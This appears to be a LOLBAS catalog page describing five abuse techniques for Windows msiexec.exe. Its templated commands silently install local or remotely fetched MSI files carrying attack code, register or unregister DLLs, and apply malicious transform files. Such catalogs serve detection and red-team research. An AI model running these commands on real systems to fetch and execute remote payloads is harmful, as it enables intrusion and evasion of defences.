DΛΣMӨП

Catalog LOLBAS

LOL · Binary

Msiexec.exe

5 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Installs the target .MSI file silently.

Use Execute custom made msi file with attack code

msiexec /quiet /i {PATH:.msi}
Context
user
Native
Execute

Execute

Execution Windows

Installs the target remote & renamed .MSI file silently.

Use Execute custom made msi file with attack code from remote server

msiexec /q /i {REMOTEURL}
Context
user
Native
Execute

Execute

Execution Windows

Calls DllRegisterServer to register the target DLL.

Use Execute dll files

msiexec /y {PATH_ABSOLUTE:.dll}
Context
user
Native
Execute

Execute

Execution Windows

Calls DllUnregisterServer to un-register the target DLL.

Use Execute dll files

msiexec /z {PATH_ABSOLUTE:.dll}
Context
user
Native
Execute

Execute

Execution Windows

Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

Use Install trusted and signed msi file, with additional attack code as transformation file, from a remote server

msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb
Context
user
Native
Execute